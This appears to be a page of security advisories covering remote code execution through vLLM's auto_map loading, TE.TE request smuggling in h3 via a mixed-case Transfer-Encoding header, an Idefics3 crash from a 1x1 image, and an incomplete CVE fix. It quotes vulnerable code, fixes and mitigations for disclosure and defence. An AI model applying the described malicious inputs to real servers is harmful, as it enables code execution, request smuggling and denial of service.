vLLM loads Hugging Face auto_map dynamic modules during model resolution without gating on trust_remote_code, allowing attacker-controlled Python code in a model repo/path to execute at server startup.
---
Impact
An attacker who can influence the model repo/path (local directory or remote Hugging Face repo) can achieve arbitrary code execution on the vLLM host during model load.
This happens before any request handling and does not require API access.
---
Affected Versions
All versions where vllm/model_executor/models/registry.py resolves auto_map entries with try_get_class_from_dynamic_module without checking trust_remote_code (at least current main).
---
Details
During model resolution, vLLM unconditionally iterates auto_map entries from the model config and calls try_get_class_from_dynamic_module, which delegates to Transformers’ get_class_from_dynamic_module and executes the module code.
This occurs even when trust_remote_code is false, allowing a malicious model repo to embed code in a referenced module and have it executed during initialization.
Relevant code
vllm/model_executor/models/registry.py:856 — auto_map resolution
vllm/transformers_utils/dynamic_module.py:13 — delegates to get_class_from_dynamic_module, which executes code
---
Fixes
https://github.com/vllm-project/vllm/pull/32194
Credits
Reported by bugbunny.ai
h3 v1 has Request Smuggling (TE.TE) issue
I was digging into h3 v1 (specifically v1.15.4) and found a critical HTTP Request Smuggling vulnerability.
Basically, readRawBody is doing a strict case-sensitive check for the Transfer-Encoding header. It explicitly looks for "chunked", but per the RFC, this header should be case-insensitive.
The Bug: If I send a request with Transfer-Encoding: ChuNked (mixed case), h3 misses it. Since it doesn't see "chunked" and there's no Content-Length, it assumes the body is empty and processes the request immediately.
This leaves the actual body sitting on the socket, which triggers a classic TE.TE Desync (Request Smuggling) if the app is running behind a Layer 4 proxy or anything that doesn't normalize headers (like AWS NLB or Node proxies).
Vulnerable Code (src/utils/body.ts):
``js
if (
!Number.parseInt(event.node.req.headers["content-length"] || "") &&
!String(event.node.req.headers["transfer-encoding"] ?? "")
.split(",")
.map((e) => e.trim())
.filter(Boolean)
.includes("chunked") // <--- This is the issue. "ChuNkEd" returns false here.
) {
return Promise.resolve(undefined);
}
`
I verified this locally:
Sent a Transfer-Encoding: ChunKed request without a closing 0 chunk.
Express hangs (correctly waiting for data).
h3 responds immediately (vulnerable, thinks body is length 0).
Impact: Since H3/Nuxt/Nitro is often used in containerized setups behind TCP load balancers, an attacker can use this to smuggle requests past WAFs or desynchronize the socket to poison other users' connections.
Fix: Just need to normalize the header value before checking: .map((e) => e.trim().toLowerCase())`
vLLM is vulnerable to DoS in Idefics3 vision models via image payload with ambiguous dimensions
Summary
Users can crash the vLLM engine serving multimodal models that use the _Idefics3_ vision model implementation by sending a specially crafted 1x1 pixel image. This causes a tensor dimension mismatch that results in an unhandled runtime error, leading to complete server termination.
Details
The vulnerability is triggered when the image processor encounters a 1x1 pixel image with shape (1, 1, 3) in HWC (Height, Width, Channel) format. Due to the ambiguous dimensions, the processor incorrectly assumes the image is in CHW (Channel, Height, Width) format with shape (3, H, W). This misinterpretation causes an incorrect calculation of the number of image patches, resulting in a fatal tensor split operation failure.
Crash location: vllm/model_executor/models/idefics3.py line 672:
``python
def _process_image_input(self, image_input: ImageInputs) -> torch.Tensor | list[torch.Tensor]:
# ...
num_patches = image_input["num_patches"]
return [e.flatten(0, 1) for e in image_features.split(num_patches.tolist())]
`
The split() call fails because the computed num_patches value (17) does not match the actual tensor dimension (9):
`
RuntimeError: split_with_sizes expects split_sizes to sum exactly to 9
(input tensor's size at dimension 0), but got split_sizes=[17]
`
This unhandled exception terminates the EngineCore process, crashing the server.
Affected Models
Any model using the Idefics3 architecture. The vulnerability was tested with HuggingFaceTB/SmolVLM-Instruct.
Impact
Denial of service by crashing the engine
Mitigation
Validating the input:
`python
def _validate_image_dimensions(self, image_shape):
h, w = image_shape[:2] if len(image_shape) == 3 else image_shape
if h < MIN_IMAGE_SIZE or w < MIN_IMAGE_SIZE:
raise ValueError(f"Image dimensions too small: {h}x{w}")
`
Managing the exception:
`python
try:
return [e.flatten(0, 1) for e in image_features.split(num_patches.tolist())]
except RuntimeError as e:
logger.error(f"Image processing failed: {e}")
raise InvalidImageError("Failed to process image features") from e
``
Fixes
https://github.com/vllm-project/vllm/pull/29881
vLLM introduced enhanced protection for CVE-2025-62164
Summary
The fix here for CVE-2025-62164 is not sufficient. The fix only disables prompt embeds by default rather than addressing the root cause, so the DoS vulnerability remains when the feature is enabled.
Details
vLLM's pending change attempts to fix the root cause, which is the missing sparse tensor validation. PyTorch (~v2.0) disables sparse tensor validation (specifically, sparse tensor invariants checks) by default for performance reasons. vLLM is adding the sparse tensor validation to ensure indices are valid, non-negative, and within bounds. These checks help catch malformed tensors.
PoC
NA
Impact
Current fix only added a flag to disable/enable prompt embeds, so by default, prompt embeds feature is disabled in vLLM, which stops DoS attacks through the embeddings. However, It doesn’t address the problem when the flag is enabled and there is still potential for DoS attacks.
Changes
https://github.com/vllm-project/vllm/pull/30649
OWASP A03OWASP A08LLM01 · Prompt InjectionLLM05 · Supply Chain
Get guardrail →